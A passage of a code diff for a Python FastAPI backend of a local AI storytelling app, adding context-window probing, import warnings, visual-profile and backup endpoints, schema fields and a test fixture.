|
||||
branches=story["branches"],
|
||||
)
|
||||
|
||||
adventure = bundle.materialize(db, payload, story, user.id)
|
||||
|
||||
db.commit()
|
||||
try:
|
||||
adventure, report = bundle.materialize(db, payload, story, user.id)
|
||||
db.commit()
|
||||
except Exception:
|
||||
# Explicit, rather than left to the session closing. The planner has
|
||||
# already refused everything it can see, so anything raising here is a
|
||||
# write that surprised us — the case where leaving a partial campaign
|
||||
# behind would be worst, and the case a test can only assert on if the
|
||||
# rollback is a statement rather than a side effect of teardown.
|
||||
db.rollback()
|
||||
raise
|
||||
db.refresh(adventure)
|
||||
# A campaign exported while undone imports undone (M3), so the history
|
||||
# controls have to be right on the response that opens it — otherwise the
|
||||
# first thing the reader sees about a story with a retained future is a
|
||||
# greyed-out Redo.
|
||||
out = schemas.AdventureOut.model_validate(adventure)
|
||||
out = schemas.ImportedAdventureOut.model_validate(adventure)
|
||||
out.can_undo = head.can_undo(db, adventure)
|
||||
out.can_redo = head.can_redo(db, adventure)
|
||||
# This is not a funnel step. A returning player imports a bundle, so it
|
||||
# says nothing about how far a first-time visitor got. It is counted anyway,
|
||||
# because it is the clearest evidence that anyone uses the export format.
|
||||
out.import_warnings = [
|
||||
f"The search index for “{failure['title']}” could not be rebuilt "
|
||||
f"({failure['detail']}). The file itself imported intact — use Reindex "
|
||||
f"in the Knowledge panel to try again."
|
||||
for failure in report["knowledge_index_failures"]
|
||||
]
|
||||
return out
|
||||
|
||||
@@ -14,6 +14,8 @@ from ... import (
|
||||
worldstate,
|
||||
)
|
||||
from ...database import get_db
|
||||
from ...knowledge import embeddings as knowledge_embeddings
|
||||
from ...knowledge import importer as knowledge_importer
|
||||
|
||||
from .deps import CurrentUser, current_adventure, router
|
||||
from .paging import action_window, annotate_takes
|
||||
@@ -187,6 +189,9 @@ def create_adventure(
|
||||
persona_name=payload.persona_name.strip(),
|
||||
persona_pronouns=payload.persona_pronouns.strip(),
|
||||
persona_desc=payload.persona_desc.strip(),
|
||||
# M11: the reader's narration-length choice, kept as data so the prompt
|
||||
# builder can turn it into a word range (post-M8 finding C).
|
||||
narration_length=payload.narration_length,
|
||||
)
|
||||
db.add(adventure)
|
||||
db.flush()
|
||||
@@ -348,8 +353,14 @@ def delete_adventure(
|
||||
db: Session = Depends(get_db),
|
||||
adventure: models.Adventure = Depends(current_adventure),
|
||||
):
|
||||
# M9. The lexical index first, while the chunks that locate it still exist.
|
||||
# It is a virtual table, so nothing cascades into it, and an orphaned index
|
||||
# row makes the *next* import into *any* campaign fail — see
|
||||
# `knowledge.importer.clear_campaign_index`.
|
||||
knowledge_importer.clear_campaign_index(db, adventure)
|
||||
db.delete(adventure)
|
||||
db.commit()
|
||||
# No later request reads this adventure's vectors, so drop them now. The
|
||||
# cache would otherwise hold them until the process restarted.
|
||||
memorybank.forget_cached_vectors(adventure_id)
|
||||
knowledge_embeddings.forget_cached(adventure_id)
|
||||
|
||||
@@ -8,6 +8,7 @@ from fastapi import Depends, HTTPException
|
||||
from sqlalchemy.orm import Session
|
||||
|
||||
from ... import derived, memorybank, models, summaries
|
||||
from ... import contextwindow
|
||||
from ...context import ContextOverflow, build_context
|
||||
from ...database import get_db
|
||||
from ...knowledge import retrieval as knowledge_retrieval
|
||||
@@ -24,14 +25,19 @@ async def dry_run_context(
|
||||
):
|
||||
"""Returns what the app would send to the AI if the player continued now."""
|
||||
settings = get_settings(db, user)
|
||||
memories = await memorybank.retrieve_memories(adventure, settings, update_stats=False)
|
||||
memories = await memorybank.retrieve_memories(adventure, settings)
|
||||
# M7: retrieved here too, and by the same call the turn makes. A dry run
|
||||
# that skipped the library would show a prompt the next turn will not send,
|
||||
# which is the one thing this panel must never do.
|
||||
knowledge = await knowledge_retrieval.retrieve(adventure, settings)
|
||||
# M11: and by the same probe the turn makes, for the same reason — a panel
|
||||
# that showed a 16,384-token budget while the next turn will be capped to
|
||||
# 4,096 would be showing a prompt that is not the one about to be sent.
|
||||
window = await contextwindow.probe(settings.endpoint_url, settings.model,
|
||||
declared=settings.context_window_override)
|
||||
try:
|
||||
_, _, report = build_context(
|
||||
adventure, settings, memories, knowledge=knowledge
|
||||
adventure, settings, memories, knowledge=knowledge, window=window
|
||||
)
|
||||
except ContextOverflow as exc:
|
||||
# M6: a dry run of a prompt that cannot be built is still an answer, and
|
||||
|
||||
@@ -48,6 +48,7 @@ def read_state(
|
||||
# The raw document, for the correction form to name a key with and for a
|
||||
# test to assert on without parsing prose.
|
||||
document=state,
|
||||
duplicate_names=narrative.model.duplicate_names(state),
|
||||
)
|
||||
|
||||
|
||||
@@ -95,6 +96,16 @@ def correct_state(
|
||||
)
|
||||
if not review.accepted:
|
||||
raise HTTPException(400, _refusal_message(review))
|
||||
# M11: a correction can be partly refused — one bad reference among four
|
||||
# good changes — and until M11 that came back as an unqualified success.
|
||||
# Partial application is the deliberate behaviour (`validate.py`: losing
|
||||
# three good changes to one typo is worse), so what M11 adds is the
|
||||
# telling, not a change of behaviour.
|
||||
refused = [
|
||||
{"event": rejection.event, "reason": rejection.reason,
|
||||
"detail": rejection.detail}
|
||||
for rejection in review.rejected
|
||||
]
|
||||
|
||||
node = head.node_at(db, adventure, adventure.head_depth)
|
||||
new_state, _proposal = narrative.store.record(
|
||||
@@ -120,11 +131,14 @@ def correct_state(
|
||||
finally:
|
||||
turns._active_turns.discard(adventure_id)
|
||||
|
||||
view = narrative.render.for_inspector(narrative.store.current(adventure))
|
||||
state_now = narrative.store.current(adventure)
|
||||
view = narrative.render.for_inspector(state_now)
|
||||
return schemas.NarrativeStateOut(
|
||||
groups=[schemas.StateGroup(**group) for group in view["groups"]],
|
||||
empty=view["empty"],
|
||||
document=narrative.store.current(adventure),
|
||||
document=state_now,
|
||||
duplicate_names=narrative.model.duplicate_names(state_now),
|
||||
refused=refused,
|
||||
)
|
||||
|
||||
|
||||
|
||||
@@ -6,6 +6,7 @@ lock guards one set only while one module owns it. And a test that replaces
|
||||
`OpenAICompatibleProvider` or `generate_turn` patches this module, which every
|
||||
caller reads through.
|
||||
"""
|
||||
import logging
|
||||
import threading
|
||||
|
||||
from fastapi import Depends, HTTPException, Request
|
||||
@@ -16,6 +17,7 @@ from ... import (
|
||||
attempts, head, limits, memorybank, models, narrative, schemas, tree,
|
||||
worldstate,
|
||||
)
|
||||
from ... import contextwindow
|
||||
from ...context import ContextOverflow, build_context, cursors
|
||||
from ...knowledge import retrieval as knowledge_retrieval
|
||||
from ...database import get_db
|
||||
@@ -27,6 +29,8 @@ from .deps import CurrentUser, current_adventure, router
|
||||
from .nodes import _move_to_after, next_depth
|
||||
from .paging import annotate_takes
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def world_delta_of(snapshot: dict | None) -> dict | None:
|
||||
"""Returns the bulk-read slice of a context snapshot, for `Action.world_delta`.
|
||||
@@ -192,8 +196,12 @@ async def _generate_turn(
|
||||
# context. Otherwise the model reads the attempt it is replacing as
|
||||
# established story and writes a sequel to it.
|
||||
replacing_id = retry_of.id if retry_of is not None else None
|
||||
# Retrieval only reads. The use counters are written by `record_use` in
|
||||
# the turn's single commit below. Writing them here would hold SQLite's
|
||||
# write lock for the whole model call, and would lock out every post-turn
|
||||
# write that ran during the reply.
|
||||
memories = await memorybank.retrieve_memories(
|
||||
adventure, settings, update_stats=True, exclude_action_id=replacing_id
|
||||
adventure, settings, exclude_action_id=replacing_id
|
||||
)
|
||||
# M7: the imported library, retrieved for the position being read. Excluding
|
||||
# the attempt being replaced matters here for the same reason it does for
|
||||
@@ -202,6 +210,23 @@ async def _generate_turn(
|
||||
knowledge = await knowledge_retrieval.retrieve(
|
||||
adventure, settings, exclude_action_id=replacing_id
|
||||
)
|
||||
# M11: what this server will actually accept. Asked here rather than inside
|
||||
# the builder for the same reason retrieval is — the builder makes no
|
||||
# network calls — and cached per endpoint and model, so it costs one short
|
||||
# request per session rather than one per turn. An unverified window does
|
||||
# not block the turn; it is recorded as unverified in the snapshot below.
|
||||
#
|
||||
# v1.1 WP-A1 corrective: a model that is not resident cannot report its window,
|
||||
# and a turn built to the configured budget against it was silently cut in the
|
||||
# A1 evidence (13,875 tokens sent, 2,050 read). So an unverified window gets
|
||||
# one bounded attempt to load the model, and one more probe, before the
|
||||
# prompt is assembled. No story text is generated by it and nothing is
|
||||
# written. A window still unverified afterwards changes nothing below.
|
||||
window, preflight = await contextwindow.ensure_window(
|
||||
settings.endpoint_url, settings.model,
|
||||
declared=settings.context_window_override,
|
||||
warm_timeout=float(settings.model_timeout_seconds or 300),
|
||||
)
|
||||
try:
|
||||
system_text, story_text, snapshot = build_context(
|
||||
adventure,
|
||||
@@ -209,6 +234,7 @@ async def _generate_turn(
|
||||
memories,
|
||||
exclude_action_id=replacing_id,
|
||||
knowledge=knowledge,
|
||||
window=window,
|
||||
)
|
||||
except ContextOverflow as exc:
|
||||
# M6: the protected context does not fit in the configured budget, so
|
||||
@@ -219,6 +245,9 @@ async def _generate_turn(
|
||||
yield turn_error(str(exc))
|
||||
return
|
||||
|
||||
if isinstance(snapshot.get("window"), dict):
|
||||
snapshot["window"]["preflight"] = preflight
|
||||
|
||||
parts = PromptParts(system=system_text, story=story_text)
|
||||
|
||||
provider = OpenAICompatibleProvider(
|
||||
@@ -305,6 +334,24 @@ async def _generate_turn(
|
||||
# prompt came from cache rather than being billed in full. This is recorded
|
||||
# per attempt, next to the prompt it priced.
|
||||
snapshot["usage"] = provider.last_usage
|
||||
# v1.1 WP-A1: what the server says it read, against what was sent. Recorded
|
||||
# and shown, never acted on: the narration has already streamed to the
|
||||
# reader, and discarding an accepted turn over an accounting discrepancy
|
||||
# would lose story to hide a problem. A server that cut the prompt answers
|
||||
# 200 either way, so this record is the only place the cut is visible.
|
||||
tokens = snapshot.get("tokens") or {}
|
||||
accounting = contextwindow.classify_usage(
|
||||
provider.last_usage,
|
||||
estimate=tokens.get("estimate") or tokens.get("total") or 0,
|
||||
budget=tokens.get("budget") or settings.context_token_budget,
|
||||
max_output_tokens=settings.max_output_tokens,
|
||||
window_verified=bool((snapshot.get("window") or {}).get("verified")),
|
||||
)
|
||||
snapshot["accounting"] = accounting
|
||||
if accounting["status"] in (contextwindow.EXCEEDED,
|
||||
contextwindow.TRUNCATION_SUSPECTED):
|
||||
log.warning("turn accounting for adventure %s: %s — %s",
|
||||
adventure.id, accounting["status"], accounting["detail"])
|
||||
|
||||
reasoning = "".join(reasoning_chunks).strip() or None
|
||||
ai_action = models.Action(
|
||||
@@ -363,11 +410,13 @@ async def _generate_turn(
|
||||
"summary": narrative.apply.diff(before_state, new_state),
|
||||
}
|
||||
attempts.snapshot_outcome(adventure, ai_action)
|
||||
memorybank.record_use(db, memories)
|
||||
adventure.updated_at = models.utcnow()
|
||||
db.commit()
|
||||
db.refresh(ai_action)
|
||||
yield _SAVED
|
||||
yield sse({"type": "done", "action": action_json(ai_action, db)})
|
||||
yield sse({"type": "done", "action": action_json(ai_action, db),
|
||||
"accounting": accounting})
|
||||
# Phase 6: schedule summarization and embedding without waiting for them.
|
||||
# The task opens its own database session.
|
||||
memorybank.schedule_post_turn(adventure)
|
||||
|
||||
@@ -0,0 +1,131 @@
|
||||
"""M10: reading and writing how a campaign's entities look.
|
||||
|
||||
Four endpoints on the campaign, and one on the scene beneath it. They are the
|
||||
only reader-facing surface M10 adds, and they are an API surface rather than a
|
||||
browser one: M10 builds no gallery, no picker and no preview, because there is
|
||||
nothing to generate and a screen for configuring depictions nobody can make
|
||||
would be a feature pretending to be a seam.
|
||||
|
||||
## Why a scene-packet endpoint exists at all
|
||||
|
||||
`GET .../scene-packet` returns exactly what a future media coordinator would be
|
||||
handed (`media/packet.py`). Nothing in v1 calls it, and it generates nothing.
|
||||
|
||||
It is here because it is the one part of M10 whose *contents* are a
|
||||
correctness claim — that a provider is given a bounded view and not the
|
||||
campaign, and that narrator-only material does not travel through it. A claim
|
||||
like that should be inspectable by whoever is reviewing the boundary, not only
|
||||
by a test that imports a private function. It is a read: it writes nothing,
|
||||
emits no event, and cannot move the head.
|
||||
|
||||
## What these endpoints deliberately are not
|
||||
|
||||
They are not a state API. A visual profile is presentation metadata and writing
|
||||
one changes no story fact (`models.VisualProfile`), so there is no event, no
|
||||
proposal, no snapshot and no head movement anywhere below here. The separation
|
||||
is structural — this module reaches `media.profiles`, and that module imports
|
||||
nothing that can write authoritative state.
|
||||
"""
|
||||
|
||||
from fastapi import Body, Depends, HTTPException
|
||||
from sqlalchemy.orm import Session
|
||||
|
||||
from ... import models
|
||||
from ...database import get_db
|
||||
from ...media import packet as scene_packet
|
||||
from ...media import profiles as visual_profiles
|
||||
|
||||
from .deps import current_adventure, router
|
||||
|
||||
|
||||
@router.get("/{adventure_id}/visual-profiles")
|
||||
def list_visual_profiles(
|
||||
db: Session = Depends(get_db),
|
||||
adventure: models.Adventure = Depends(current_adventure),
|
||||
):
|
||||
"""Every visual profile in the campaign, by entity key.
|
||||
|
||||
Campaign-scoped rather than scoped to the story being read, because that is
|
||||
what a profile is: a character does not change appearance when the story
|
||||
forks, so there is no position for this list to be relative to.
|
||||
"""
|
||||
return {
|
||||
"profiles": [
|
||||
{"entity_key": row.entity_key, **visual_profiles.as_dict(row)}
|
||||
for row in visual_profiles.all_for(db, adventure)
|
||||
],
|
||||
}
|
||||
|
||||
|
||||
@router.put("/{adventure_id}/visual-profiles/{entity_key}")
|
||||
def set_visual_profile(
|
||||
entity_key: str,
|
||||
payload: dict = Body(...),
|
||||
db: Session = Depends(get_db),
|
||||
adventure: models.Adventure = Depends(current_adventure),
|
||||
):
|
||||
"""Records how one entity looks. Replaces any existing profile.
|
||||
|
||||
A `PUT` rather than a `PATCH`, and the whole profile rather than a delta,
|
||||
for the reason `profiles.set_profile` gives: merging would make a descriptor
|
||||
impossible to remove.
|
||||
|
||||
The entity must exist in the campaign's state at the active head. A 400 for
|
||||
a name nobody has is better than a row describing nobody, which would then
|
||||
be invisible until a future depiction quietly ignored it.
|
||||
"""
|
||||
try:
|
||||
row = visual_profiles.set_profile(
|
||||
db, adventure, entity_key,
|
||||
descriptors=payload.get("descriptors"),
|
||||
features=payload.get("features"),
|
||||
style_notes=payload.get("style_notes"),
|
||||
)
|
||||
except visual_profiles.ProfileError as exc:
|
||||
raise HTTPException(400, str(exc)) from exc
|
||||
db.commit()
|
||||
db.refresh(row)
|
||||
return {"entity_key": row.entity_key, **visual_profiles.as_dict(row)}
|
||||
|
||||
|
||||
@router.get("/{adventure_id}/visual-profiles/{entity_key}")
|
||||
def read_visual_profile(
|
||||
entity_key: str,
|
||||
db: Session = Depends(get_db),
|
||||
adventure: models.Adventure = Depends(current_adventure),
|
||||
):
|
||||
row = visual_profiles.get_profile(db, adventure, entity_key)
|
||||
if row is None:
|
||||
raise HTTPException(404, f"No visual profile for {entity_key!r}.")
|
||||
return {"entity_key": row.entity_key, **visual_profiles.as_dict(row)}
|
||||
|
||||
|
||||
@router.delete("/{adventure_id}/visual-profiles/{entity_key}", status_code=204)
|
||||
def delete_visual_profile(
|
||||
entity_key: str,
|
||||
db: Session = Depends(get_db),
|
||||
adventure: models.Adventure = Depends(current_adventure),
|
||||
):
|
||||
"""Removes a description. Never the entity, which lives in the state."""
|
||||
if not visual_profiles.delete_profile(db, adventure, entity_key):
|
||||
raise HTTPException(404, f"No visual profile for {entity_key!r}.")
|
||||
db.commit()
|
||||
|
||||
|
||||
@router.get("/{adventure_id}/scene-packet")
|
||||
def read_scene_packet(
|
||||
start: int | None = None,
|
||||
end: int | None = None,
|
||||
db: Session = Depends(get_db),
|
||||
adventure: models.Adventure = Depends(current_adventure),
|
||||
):
|
||||
"""What a future media provider would be given for the current scene.
|
||||
|
||||
`start` and `end` are depths on the active branch, and both are optional:
|
||||
omitted, the packet describes the scene at the position the story last set
|
||||
one. Passing a range is what a future video request would do — a scene is
|
||||
not assumed to be one turn (`MEDIA-EXTENSION-CONTRACT.md` §30-31).
|
||||
|
||||
Generates nothing and contacts nothing. There is no provider to send it to.
|
||||
"""
|
||||
return scene_packet.build(db, adventure, start=start, end=end)
|
||||
@@ -0,0 +1,75 @@
|
||||
"""M9: taking a verified copy of the whole database, from the browser.
|
||||
|
||||
Two endpoints and no third. `app/backup.py` owns the procedure and every
|
||||
guarantee it makes; these only decide who may ask.
|
||||
|
||||
## Why there is no restore endpoint, and no download
|
||||
|
||||
**Restore** means replacing the database file the running process has open.
|
||||
Doing that from inside that process is how someone loses both copies at once:
|
||||
the connection pool still holds handles on the old file, the WAL belongs to the
|
||||
old file, and a half-swapped database is not something a running application can
|
||||
notice. The supported procedure is in `DEVELOPMENT.md` — stop the application,
|
||||
move the file into place, start it — and it is a procedure precisely because
|
||||
each step needs the application not to be running. Campaign-level recovery, the
|
||||
common case and the only one that crosses machines, is the export bundle.
|
||||
|
||||
**Download** is not offered either. The file is a copy of every campaign on the
|
||||
machine, and streaming it through the browser would put it in the download
|
||||
directory, in the browser's own cache, and in whatever the reader does with it
|
||||
next — for a local single-user application whose whole premise is that the story
|
||||
does not leave the machine, that is a worse default than a path the reader can
|
||||
copy. So the response names the directory and the reader takes it from there.
|
||||
|
||||
## Where the file goes
|
||||
|
||||
Nowhere a request can name. The destination is derived from the database the
|
||||
application is already using, and the filename is generated from the clock. No
|
||||
part of either comes from the caller, so there is no traversal to attempt (H08),
|
||||
and the endpoints below accept no body at all.
|
||||
"""
|
||||
|
||||
import logging
|
||||
|
||||
from fastapi import APIRouter, Depends, HTTPException
|
||||
|
||||
from .. import auth, backup, models
|
||||
|
||||
router = APIRouter(prefix="/api/backups", tags=["backups"])
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
|
||||
@router.get("")
|
||||
def list_backups(_user: models.User = Depends(auth.get_current_user)):
|
||||
"""The backups already on disk, newest first, and where they are.
|
||||
|
||||
The directory is reported once here rather than on every row, because it is
|
||||
the same for all of them and it is what the reader needs in order to find
|
||||
the files at all.
|
||||
"""
|
||||
return {
|
||||
"directory": str(backup.directory()),
|
||||
"backups": backup.existing(),
|
||||
}
|
||||
|
||||
|
||||
@router.post("", status_code=201)
|
||||
def create_backup(_user: models.User = Depends(auth.get_current_user)):
|
||||
"""Takes one verified backup, and reports what it wrote.
|
||||
|
||||
Synchronous. A backup of a local single-user database is a page copy that
|
||||
finishes in well under a second, and a reader who pressed the button is
|
||||
entitled to be told whether it worked rather than to be told it started.
|
||||
|
||||
A failure is a 500 carrying the reason. There is nothing for the caller to
|
||||
fix by retrying differently — the request has no parameters — so the useful
|
||||
thing is the message, and `backup.create` guarantees that the source database
|
||||
is untouched and no partial file is left behind.
|
||||
"""
|
||||
try:
|
||||
result = backup.create()
|
||||
except backup.BackupError as exc:
|
||||
log.error("Backup failed: %s", exc)
|
||||
raise HTTPException(500, str(exc)) from exc
|
||||
return {"directory": str(result.path.parent), **result.as_dict()}
|
||||
@@ -15,7 +15,7 @@ from fastapi import APIRouter, Depends, HTTPException
|
||||
from sqlalchemy.orm import Session
|
||||
from starlette.concurrency import run_in_threadpool
|
||||
|
||||
from .. import auth, endpoints, models, schemas, tlstrust
|
||||
from .. import auth, contextwindow, endpoints, models, schemas, tlstrust
|
||||
from ..database import get_db
|
||||
from ..providers.openai_compatible import CONNECT_TIMEOUT
|
||||
|
||||
@@ -65,6 +65,15 @@ async def update_settings(
|
||||
if reason is not None:
|
||||
raise HTTPException(400, f"That endpoint can't be used — {reason}.")
|
||||
|
||||
if any(
|
||||
field in fields and fields[field] != getattr(settings, field)
|
||||
for field in ("endpoint_url", "model")
|
||||
):
|
||||
# M11: a different server or a different model is a different window.
|
||||
# What was verified about the old pair says nothing about the new one,
|
||||
# and a stale ceiling is the one thing this must never apply.
|
||||
contextwindow.cache_clear()
|
||||
|
||||
embedding_model_changed = (
|
||||
"embedding_model" in fields
|
||||
and fields["embedding_model"] != settings.embedding_model
|
||||
@@ -165,6 +174,57 @@ async def list_endpoint_models(endpoint_url: str) -> dict:
|
||||
return {"ok": True, "models": models_available}
|
||||
|
||||
|
||||
def _window_warning(window: contextwindow.Window, settings: models.Settings) -> str | None:
|
||||
"""What to tell the reader about the window, or None when nothing is wrong.
|
||||
|
||||
Four cases, and they need four different things done about them, so they
|
||||
say four different things (the same reasoning as the connection test's own
|
||||
four failure kinds).
|
||||
"""
|
||||
budget = settings.context_token_budget
|
||||
if window.source == contextwindow.DECLARED:
|
||||
# Enforced, but on the operator's word rather than the server's. Worth
|
||||
# saying plainly: nothing here has checked the number, so a declaration
|
||||
# that is too large is the silent-truncation failure all over again.
|
||||
over = (
|
||||
" It is larger than the story budget, so it changes nothing today."
|
||||
if window.tokens >= budget else
|
||||
f" Prompts are being built to {window.tokens:,} rather than "
|
||||
f"{budget:,}."
|
||||
)
|
||||
return (
|
||||
f"The context window for '{settings.model}' is set in settings to "
|
||||
f"{window.tokens:,} tokens, because this server cannot be asked for it "
|
||||
f"— {window.detail}.{over} Nothing has verified that number against "
|
||||
"the server; if it is larger than the window the server really "
|
||||
"enforces, the oldest part of the prompt is still being dropped."
|
||||
)
|
||||
if not window.verified:
|
||||
return (
|
||||
f"The context window this server will give '{settings.model}' could not "
|
||||
f"be checked — {window.detail}. The story budget is {budget:,} tokens; "
|
||||
"if the server's window is smaller than that it silently drops the "
|
||||
"oldest part of the prompt, which here is the narrator's rules and the "
|
||||
"campaign canon. If this server has no Ollama-native API to ask — "
|
||||
"vLLM, llama.cpp's own server — set the context window in settings so "
|
||||
"the prompt is capped to it. See DEVELOPMENT.md, 'The context window "
|
||||
"your Ollama actually enforces'."
|
||||
)
|
||||
if window.tokens < budget:
|
||||
ceiling = (
|
||||
f" The model itself can go up to {window.model_max:,}."
|
||||
if window.model_max and window.model_max > window.tokens else ""
|
||||
)
|
||||
return (
|
||||
f"This server gives '{settings.model}' {window.tokens:,} tokens, which is "
|
||||
f"less than the {budget:,}-token story budget. Prompts are being built to "
|
||||
f"{window.tokens:,} so nothing is silently truncated — the campaign simply "
|
||||
f"gets less history than the setting asks for.{ceiling} To use the whole "
|
||||
"budget, load the model with a larger window (DEVELOPMENT.md)."
|
||||
)
|
||||
return None
|
||||
|
||||
|
||||
@router.post("/test")
|
||||
async def test_connection(
|
||||
db: Session = Depends(get_db),
|
||||
@@ -173,6 +233,29 @@ async def test_connection(
|
||||
"""Checks the endpoint the turn engine would use, and lists its models."""
|
||||
settings = get_settings(db, user)
|
||||
result = await list_endpoint_models(settings.endpoint_url)
|
||||
if result.get("ok") and settings.model:
|
||||
# M11: while we have the server's attention, ask what window it will
|
||||
# give this model. This is where a reader can act on the answer — the
|
||||
# model picker is on the same screen as the budget — and it is the
|
||||
# difference between "your prompts are being truncated" being visible
|
||||
# here and being invisible until the narrator forgets the canon.
|
||||
# Cached, deliberately. The model-status badge calls this endpoint on
|
||||
# every page load, so an uncached probe would be two extra requests to
|
||||
# the inference host per page view for an answer that changes only when
|
||||
# an operator reloads a model. Changing the endpoint or the model clears
|
||||
# the cache (`update_settings`), which covers the case a reader can
|
||||
# actually cause; the detail line always says where the number came from.
|
||||
window = await contextwindow.probe(settings.endpoint_url, settings.model,
|
||||
declared=settings.context_window_override)
|
||||
result = result | {"window": {
|
||||
"verified": window.verified,
|
||||
"tokens": window.tokens,
|
||||
"source": window.source,
|
||||
"model_max": window.model_max,
|
||||
"detail": window.detail,
|
||||
"budget": settings.context_token_budget,
|
||||
"warning": _window_warning(window, settings),
|
||||
}}
|
||||
if result.get("ok") and settings.model and settings.model not in result["models"]:
|
||||
# Reachable, but pointed at a model that is not installed there — the
|
||||
# commonest way for a correct endpoint to still fail every turn.
|
||||
|
||||
@@ -170,6 +170,10 @@ class AdventureCreate(BaseModel):
|
||||
persona_name: PersonaName = ""
|
||||
persona_pronouns: PersonaPronouns = ""
|
||||
persona_desc: Prose = ""
|
||||
# M11: how long the reader wants turns to be. The setup screen also puts a
|
||||
# sentence about it into `ai_instructions`; this is the half the prompt
|
||||
# builder can do arithmetic with.
|
||||
narration_length: Literal["", "brief", "medium", "long"] = ""
|
||||
|
||||
|
||||
class AdventureUpdate(BaseModel):
|
||||
@@ -177,6 +181,7 @@ class AdventureUpdate(BaseModel):
|
||||
memory: Prose | None = None
|
||||
authors_note: Prose | None = None
|
||||
ai_instructions: Prose | None = None
|
||||
narration_length: Literal["", "brief", "medium", "long"] | None = None
|
||||
story_summary: Prose | None = None
|
||||
auto_summarize: bool | None = None
|
||||
memory_bank_enabled: bool | None = None
|
||||
@@ -328,6 +333,21 @@ class NarrativeStateOut(BaseModel):
|
||||
groups: list[StateGroup] = []
|
||||
empty: bool = True
|
||||
document: dict = {}
|
||||
#: M11 (post-M8 finding D): entities that share a display name, keyed by the
|
||||
#: name. Reported rather than refused — two people called Alice is ordinary
|
||||
#: fiction — but reported, because until M11 it happened silently and one of
|
||||
#: the finding's candidate failure modes is exactly this.
|
||||
duplicate_names: dict[str, list[str]] = {}
|
||||
#: M11: the changes in *this* correction that were refused, and why.
|
||||
#:
|
||||
#: `narrative/validate.py` states the rule — "what is never allowed is a
|
||||
#: rejected event mutating anything, or a rejection being silent" — and until
|
||||
#: M11 the human-facing half of it was missing. A correction where one event
|
||||
#: of four was refused returned 201 with the other three applied and said
|
||||
#: nothing, so the reader believed they had made a change they had not. The
|
||||
#: refusals were recorded on the proposal for the audit trail; they were
|
||||
#: simply never shown to the person who wrote them.
|
||||
refused: list[dict] = []
|
||||
|
||||
|
||||
class StateEventIn(BaseModel):
|
||||
@@ -472,6 +492,7 @@ class AdventureOut(ORMModel):
|
||||
memory: str
|
||||
authors_note: str
|
||||
ai_instructions: str
|
||||
narration_length: str
|
||||
story_summary: str
|
||||
auto_summarize: bool
|
||||
memory_bank_enabled: bool
|
||||
@@ -497,6 +518,25 @@ class AdventureOut(ORMModel):
|
||||
can_redo: bool = False
|
||||
|
||||
|
||||
class ImportedAdventureOut(AdventureOut):
|
||||
"""A campaign that has just been restored from a bundle (M9).
|
||||
|
||||
Exactly `AdventureOut` plus what could not be rebuilt. The extra field is on
|
||||
a subclass rather than on the base, because "which of your search indexes
|
||||
failed to rebuild" is a fact about one import and not a property of a
|
||||
campaign — putting it on `AdventureOut` would attach it to every read of
|
||||
every campaign forever.
|
||||
|
||||
An empty list is the ordinary answer and means the whole campaign, its
|
||||
evidence and its derived indexes all landed. A non-empty one means the
|
||||
authoritative import succeeded and a rebuildable index did not, which is a
|
||||
distinction M9 requires a caller to be able to draw: the campaign is intact,
|
||||
and Reindex is the repair.
|
||||
"""
|
||||
|
||||
import_warnings: list[str] = []
|
||||
|
||||
|
||||
class ActionPage(BaseModel):
|
||||
"""A slice of the story, counted back from the newest action."""
|
||||
|
||||
@@ -647,6 +687,7 @@ class SettingsOut(ORMModel):
|
||||
max_output_tokens: int
|
||||
context_token_budget: int
|
||||
model_timeout_seconds: int
|
||||
context_window_override: int | None
|
||||
narrator_prompt: str
|
||||
summary_model: str
|
||||
embedding_model: str
|
||||
@@ -690,6 +731,11 @@ class SettingsUpdate(BaseModel):
|
||||
# turn cannot trip it; the ceiling exists so that "wait longer" stays a
|
||||
# number rather than becoming "wait forever".
|
||||
model_timeout_seconds: Annotated[int, Field(ge=30, le=3600)] | None = None
|
||||
# The window an inference server enforces, for servers that cannot be asked.
|
||||
# Bounded like the budget it caps. It is never a way to *raise* the prompt
|
||||
# past a window the server did report — `contextwindow._declared_or` — so
|
||||
# the ceiling here only bounds what an operator can usefully claim.
|
||||
context_window_override: Annotated[int, Field(ge=256, le=200_000)] | None = None
|
||||
narrator_prompt: Prose | None = None
|
||||
summary_model: Name | None = None
|
||||
embedding_model: Name | None = None
|
||||
|
||||
@@ -63,7 +63,9 @@ def give(db: Session, user: models.User) -> models.Adventure | None:
|
||||
# flush whatever part of the adventure the session still held.
|
||||
with db.begin_nested():
|
||||
story = bundle.plan(payload, bundle.check_format(payload))
|
||||
adventure = bundle.materialize(db, payload, story, user.id)
|
||||
# The starter ships with no imported knowledge, so the derived
|
||||
# report is always empty here and nothing reads it.
|
||||
adventure, _ = bundle.materialize(db, payload, story, user.id)
|
||||
_link_scenario(db, adventure, payload)
|
||||
return adventure
|
||||
except Exception:
|
||||
|
||||
@@ -0,0 +1,136 @@
|
||||
"""M10: a campaign with a scene worth depicting, deliberately not a fantasy one.
|
||||
|
||||
The M10 brief asks for at least one non-fantasy representation, and the reason
|
||||
is a real risk rather than a preference: the media contract's own examples are
|
||||
fantasy-shaped — hair and eyes, timber framing, oil lamps — and a schema written
|
||||
while looking at them can acquire that shape without anyone deciding to give it
|
||||
one. So the fixture is four people in an office, and the same code has to hold
|
||||
it with no change.
|
||||
|
||||
Bill the protagonist
|
||||
Alice a coworker, with a visual profile
|
||||
Roger a coworker, with no profile at all
|
||||
John a coworker who is not in the room
|
||||
|
||||
the office a location, with a visual profile
|
||||
a badge an item Bill is carrying
|
||||
the server room a second location, for divergence
|
||||
|
||||
The cast is the one from the post-M8 playtest finding, and that is deliberate
|
||||
too — but only as *shape*. M10 does not investigate that finding, and nothing
|
||||
here asserts anything about coreference; it is M11's, and §23 of the brief says
|
||||
so. What the shape buys here is a scene with three present characters and one
|
||||
absent, which is what makes "the packet describes who is in the room" a claim
|
||||
with a wrong answer available.
|
||||
|
||||
Roger having no profile is load-bearing: it is how the tests tell "no profile"
|
||||
from "an empty profile", which a future provider has to be able to distinguish.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from fakes import ScriptedProvider, state_block
|
||||
|
||||
#: A narrator-only secret, used by the hidden-information tests. It is imported
|
||||
#: as an M7 hidden knowledge source — the product's real mechanism for
|
||||
#: narrator-only material — rather than as an invented marker, so the test
|
||||
#: exercises the boundary that actually exists.
|
||||
